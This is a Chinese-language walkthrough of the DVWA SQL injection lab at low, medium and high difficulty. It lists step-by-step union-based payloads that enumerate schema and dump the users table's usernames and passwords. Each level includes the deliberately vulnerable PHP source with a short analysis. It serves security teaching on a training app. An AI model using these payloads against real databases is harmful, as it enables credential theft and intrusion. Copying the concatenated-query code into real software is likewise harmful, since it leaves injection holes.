文章目录
- 一、概述
- 二、low
- 2.1 通关思路
- (1)判断是否存在sql注入漏洞。
- (2)判断字符型还是数字型
- (3)判断字段数
- (4)查看回显点
- (5)查看数据库名
- (6)查表名
- (7)查字段名
- (8)查字段内容
- 2.2 源码分析
- 三、medium
- 3.1 通关思路
- (1)寻找传参点
- (2)判断是否存在SQL注入
- (3)判断是字符型注入还是数字型注入
- (4)判断字段数
- (5)查看回显点
- (6)查看数据库名
- (7)查看表名
- (8)查看字段名
- (9)查看字段内容
- 3.2 源码分析
- 四、high
- 4.1 通关分析
- (1)判断是否存在SQL注入
- (2)判断属于字符型注入还是数字型注入
- (3)判断字段数
- (4)查看回显点
- (5)查看数据库名
- (6)查看表名
- (7)查看字段名
- (8)查看字段内容
- 4.2 源码分析
一、概述
SQL 注入是从客户端向应用程序的输入数据,通过插入或“注入” SQL 查询语句来进行攻击的过程。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容,并在某些情况下也能向操作系统发出命令。
二、low
2.1 通关思路
(1)判断是否存在sql注入漏洞。
在参数后面添加
'
(引号),查看是否页面返回一样
- 添加引号后,页面返回不一样,说明存在SQL注入漏洞;
- 从URL可以看出,该SQL注入漏洞属于GET型。
(2)判断字符型还是数字型
1 and 1=1
1 and 1=2
页面返回一致,故,属于字符型注入。
(3)判断字段数
1' order by 2 #
1' order by 3 #
故,字段数为2。
(4)查看回显点
1' union select 1,2 #
(5)查看数据库名
1' union select 1,database() #
(6)查表名
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #
(7)查字段名
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #
(8)查字段内容
1' union select 1,(select group_concat(concat(user,'%23',password)) from dvwa.users) #
2.2 源码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
分析:
- PHP 的
REQUEST
变量在默认情况下包含了 GET,POST 和 COOKIE 的数组。由此可见源码对输入的 id 完全信任,没有做任何过滤。 - 接收的 id 的左右内容将会被直接放入一个 SQL 查询语句,使用
mysqli_query
函数用该语句对某个数据库进行查询。mysql_result
函数返回查询结果中各个字段的内容。
三、medium
3.1 通关思路
(1)寻找传参点
随便提交一个ID,页面回显如下:
抓包,发现这里属于POST传参。
(2)判断是否存在SQL注入
在参数后面添加一个
'
,发现页面报错,报错信息显示'
被转义,故此种方法不能判断该页面是否存在SQL注入漏洞。那就换一个~
(3)判断是字符型注入还是数字型注入
此处,既可以判断是否存在SQL注入漏洞,也可判断SQL注入类型。
1 and 1=1
1 and 1=2
页面返回不一致,故属于数字型注入。
(4)判断字段数
1 order by <数字> #
,注意:order by
之前的语句为真。
可知,该表中含有两个字段。
(5)查看回显点
1 union select 1,2 #
(6)查看数据库名
1 union select 1,database() #
(7)查看表名
单引号被转义,故采取以下方式进行绕过:
- 用
database()
代替数据库名; - 将数据库名进行16进制编码,注意:不需要对数据库旁边的引号进行16进制编码。
1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x64767761) #
(8)查看字段名
1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273) #
(9)查看字段内容
1 union select 1,(select group_concat(concat(user,0x7E,password)) from dvwa.users) #
0x7E
就是~
的16进制形式。
3.2 源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
分析:
- 源码使用了
mysql_real_escape_string()
函数转义字符串中的特殊字符,也就是说特殊符号\x00
、\n
、\r
、\
、'
、"
和\x1a
都将进行转义。 - 同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。
四、high
4.1 通关分析
(1)判断是否存在SQL注入
payload:在参数后面加一个
'
,来判断是否存在SQL注入。
(2)判断属于字符型注入还是数字型注入
用
1 and 1=1
和1 and 1=2
来判断属于字符型注入还是数字型注入。
两次页面返回一致,故属于字符型注入,下一步将判断闭合符号。
由此,可知 属于单引号闭合。
(3)判断字段数
1' order by <数字> #
(4)查看回显点
1' union select 1,2 #
(5)查看数据库名
1' union select 1,database() #
(6)查看表名
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') #
(7)查看字段名
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users') #
(8)查看字段内容
1' union select 1,(select group_concat(concat(user,'%23',password)) from dvwa.users) #
4.2 源码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
分析:
- high级攻击者以不同的方式输入值,输入值将在另一个页面输入,而不是直接 GE T请求,通过会话变量传输到查询语句。
- High 级别的只是在 SQL 查询语句中添加了
LIMIT 1
,这令服务器仅回显查询到的一个结果。